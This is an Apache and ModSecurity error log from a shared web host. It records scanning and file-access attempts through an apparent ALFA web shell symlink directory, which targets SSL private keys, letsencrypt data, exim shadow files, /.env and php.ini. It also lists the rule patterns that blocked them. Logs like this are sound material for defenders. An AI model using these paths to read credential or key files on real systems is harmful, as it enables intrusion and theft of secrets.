[Mon Oct 26 05:16:21.916650 2026] [security2:error] [pid 3003468:tid 3003468] [client 16.216.88.253:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "at8aZToMefr8xIwXotdCBAAAAAI"]
[Mon Oct 26 05:16:23.098482 2026] [security2:error] [pid 3003467:tid 3003467] [client 43.154.250.181:54592] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/mysqldump"] [unique_id "at8aZ5uIQjmomBX6543VOAAAAAA"]
[Mon Oct 26 05:16:34.137182 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 3.94.40.182:26299] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS0/closing_wait
[Mon Oct 26 05:16:38.135721 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 3.215.59.93:32491] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:16:54.183867 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 23.21.228.180:62589] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:16:58.137252 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 54.80.73.122:18280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:17:06.147445 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 54.84.169.196:48140] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:17:18.193251 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 34.231.77.232:48373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:17:30.263026 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 54.197.178.107:63419] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:17:34.210570 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 52.45.15.233:1371] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:17:46.217931 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 54.91.122.193:59590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:17:53.332853 2026] [core:error] [pid 3004471:tid 3004471] (13)Permission denied: [client 216.244.66.250:33770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/exim.conf.localopts.shadow
[Mon Oct 26 05:18:02.250126 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.157.99.244:42155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:18:18.461306 2026] [authz_core:error] [pid 2993961:tid 2993961] [client 71.6.232.22:44862] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:18:18.723618 2026] [core:error] [pid 3000185:tid 3000185] (13)Permission denied: [client 52.71.216.196:63033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/firmware_node/physical_node/crash_notes
[Mon Oct 26 05:18:22.281319 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.81.253.213:41879] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:18:26.411242 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 3.226.106.93:49415] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:18:30.302120 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 18.213.240.226:15248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:18:31.578636 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 185.191.171.5:24868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/min_partial
[Mon Oct 26 05:18:42.587307 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 52.203.65.83:25541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:18:54.307678 2026] [ssl:error] [pid 2993961:tid 2993961] (5)Input/output error: [client 54.84.161.62:44610] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:19:02.801719 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 44.212.131.50:26901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:19:06.112263 2026] [security2:error] [pid 3003467:tid 3003467] [client 85.208.96.201:15198] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/serbian/errmsg.sys"] [unique_id "at8bCpuIQjmomBX6543VPQAAAAA"]
[Mon Oct 26 05:19:06.112632 2026] [security2:error] [pid 3003467:tid 3003467] [client 85.208.96.201:15198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/serbian/errmsg.sys"] [unique_id "at8bCpuIQjmomBX6543VPQAAAAA"]
[Mon Oct 26 05:19:06.113044 2026] [security2:error] [pid 3003467:tid 3003467] [client 85.208.96.201:15198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/serbian/errmsg.sys"] [unique_id "at8bCpuIQjmomBX6543VPQAAAAA"]
[Mon Oct 26 05:19:06.467781 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 98.82.39.241:32091] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:19:14.441056 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 35.169.240.53:40914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:19:18.373549 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 18.205.91.101:52283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:19:22.471150 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 3.227.180.70:62150] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:19:38.527352 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 44.221.37.41:2395] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:19:56.506301 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 85.208.96.210:15496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/partial
[Mon Oct 26 05:20:06.449886 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.224.215.150:2762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:20:14.445868 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 3.212.205.90:65190] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:20:19.947470 2026] [authz_core:error] [pid 3000123:tid 3000123] [client 87.236.176.182:54253] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:20:24.470062 2026] [security2:error] [pid 3003468:tid 3003468] [client 85.208.96.208:52344] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e4d1f_03d4b_e954584023664ef5ac731ab6f332a96e.key"] [unique_id "at8bWDoMefr8xIwXotdCCgAAAAI"]
[Mon Oct 26 05:20:24.470530 2026] [security2:error] [pid 3003468:tid 3003468] [client 85.208.96.208:52344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e4d1f_03d4b_e954584023664ef5ac731ab6f332a96e.key"] [unique_id "at8bWDoMefr8xIwXotdCCgAAAAI"]
[Mon Oct 26 05:20:24.470814 2026] [security2:error] [pid 3003468:tid 3003468] [client 85.208.96.208:52344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e4d1f_03d4b_e954584023664ef5ac731ab6f332a96e.key"] [unique_id "at8bWDoMefr8xIwXotdCCgAAAAI"]
[Mon Oct 26 05:20:42.486527 2026] [core:crit] [pid 2993961:tid 2993961] (13)Permission denied: [client 85.208.96.197:39974] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/live/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/live/' is executable
[Mon Oct 26 05:20:42.498969 2026] [core:crit] [pid 2993961:tid 2993961] (13)Permission denied: [client 85.208.96.197:39974] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/accounts/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/accounts/' is executable
[Mon Oct 26 05:20:42.499031 2026] [core:crit] [pid 2993961:tid 2993961] (13)Permission denied: [client 85.208.96.197:39974] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/keys/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/keys/' is executable
[Mon Oct 26 05:20:42.527618 2026] [core:crit] [pid 2993961:tid 2993961] (13)Permission denied: [client 85.208.96.197:39974] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/archive/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/archive/' is executable
[Mon Oct 26 05:20:42.827951 2026] [ssl:error] [pid 3000155:tid 3000155] (5)Input/output error: [client 23.21.225.190:6176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:20:46.517043 2026] [core:error] [pid 3000185:tid 3000185] (13)Permission denied: [client 52.1.157.90:49258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers/button/uevent
[Mon Oct 26 05:20:48.310110 2026] [core:crit] [pid 3003467:tid 3003467] (13)Permission denied: [client 104.152.52.66:53827] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 05:20:48.349865 2026] [authz_core:error] [pid 3003468:tid 3003468] [client 104.152.52.61:60983] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:20:50.653153 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.2.4.213:3690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:20:54.881582 2026] [authz_core:error] [pid 3000185:tid 3000185] [client 51.159.169.205:38582] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 05:20:58.878976 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 52.0.63.151:25498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:21:38.710887 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.4.229.9:23450] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:21:46.719720 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 184.73.195.18:23994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:21:54.694355 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 52.44.148.203:22260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:21:55.439079 2026] [core:error] [pid 3004471:tid 3004471] (13)Permission denied: [client 85.208.96.196:26700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/objects_partial
[Mon Oct 26 05:21:55.439640 2026] [security2:error] [pid 3004471:tid 3004471] [client 85.208.96.196:26700] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/objects_partial"] [unique_id "at8bs_oFFV7OcZC6dvenMgAAAAk"]
[Mon Oct 26 05:21:55.439673 2026] [security2:error] [pid 3004471:tid 3004471] [client 85.208.96.196:26700] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/objects_partial"] [unique_id "at8bs_oFFV7OcZC6dvenMgAAAAk"]
[Mon Oct 26 05:21:59.024583 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 34.194.165.45:49987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:22:02.959618 2026] [core:error] [pid 3003501:tid 3003501] (13)Permission denied: [client 185.191.171.16:62712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/slabs
[Mon Oct 26 05:22:06.817697 2026] [core:error] [pid 3004471:tid 3004471] (13)Permission denied: [client 18.209.201.119:54614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_generic/uevent
[Mon Oct 26 05:22:10.962790 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 18.204.89.56:7369] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:22:31.056097 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 54.83.56.1:35521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:22:34.837599 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.3.156.186:57091] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:22:47.032741 2026] [core:error] [pid 3003467:tid 3003467] (13)Permission denied: [client 34.194.226.74:4154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/rescan
[Mon Oct 26 05:22:47.681058 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 85.208.96.193:16650] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:22:50.912632 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 44.215.210.112:10245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:22:54.967557 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 3.221.50.71:21931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:22:55.916915 2026] [security2:error] [pid 2995190:tid 2995190] [client 130.12.180.171:21032] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8b7x_ViEB4VmIsS1QWawAAAAw"]
[Mon Oct 26 05:22:55.917163 2026] [security2:error] [pid 2995190:tid 2995190] [client 130.12.180.171:21032] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8b7x_ViEB4VmIsS1QWawAAAAw"]
[Mon Oct 26 05:22:55.917461 2026] [security2:error] [pid 2995190:tid 2995190] [client 130.12.180.171:21032] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8b7x_ViEB4VmIsS1QWawAAAAw"]
[Mon Oct 26 05:22:59.272114 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.231.77.232:41486] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:03.045634 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 35.172.125.172:30097] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:06.834246 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 34.225.24.180:31663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:19.106136 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.91.122.193:2936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:26.998579 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 34.236.135.14:64327] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:31.101939 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 52.204.37.237:45104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:35.023054 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 3.208.146.193:4018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:39.227297 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 18.207.79.144:5042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:43.144183 2026] [security2:error] [pid 2993961:tid 2993961] [client 184.73.195.18:18690] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:1d/"] [unique_id "at8cHxJqpTbSe9f2_suBlAAAAAc"]
[Mon Oct 26 05:23:43.144320 2026] [security2:error] [pid 2993961:tid 2993961] [client 184.73.195.18:18690] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:1d/"] [unique_id "at8cHxJqpTbSe9f2_suBlAAAAAc"]
[Mon Oct 26 05:23:51.075966 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 35.153.86.200:34583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:23:55.385726 2026] [core:error] [pid 3003467:tid 3003467] (13)Permission denied: [client 3.212.205.90:29119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/device:08/eject
[Mon Oct 26 05:24:07.184701 2026] [security2:error] [pid 3004471:tid 3004471] [client 184.73.167.217:15286] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input5/subsystem/event1/subsystem/event3/device/event3/"] [unique_id "at8cN_oFFV7OcZC6dvenNwAAAAk"]
[Mon Oct 26 05:24:07.184745 2026] [security2:error] [pid 3004471:tid 3004471] [client 184.73.167.217:15286] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input5/subsystem/event1/subsystem/event3/device/event3/"] [unique_id "at8cN_oFFV7OcZC6dvenNwAAAAk"]
[Mon Oct 26 05:24:19.191580 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 54.197.178.107:28860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:24:27.341706 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 35.171.117.160:3352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:24:31.269619 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 44.207.69.106:54905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:24:39.525528 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 52.1.106.130:24895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:24:43.401055 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 85.208.96.207:15540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/object_size
[Mon Oct 26 05:24:50.859563 2026] [security2:error] [pid 3000048:tid 3000048] [client 107.172.76.131:52710] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8cVxVJOpf1OCC_KBuYvAAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 05:24:50.859630 2026] [security2:error] [pid 3000048:tid 3000048] [client 107.172.76.131:52710] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8cVxVJOpf1OCC_KBuYvAAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 05:24:56.408299 2026] [security2:error] [pid 3001569:tid 3001569] [client 216.180.246.37:21422] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at8caActRzQtyQW4iSmHvQAAAAE"]
[Mon Oct 26 05:24:56.409108 2026] [authz_core:error] [pid 3001569:tid 3001569] [client 216.180.246.37:21422] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
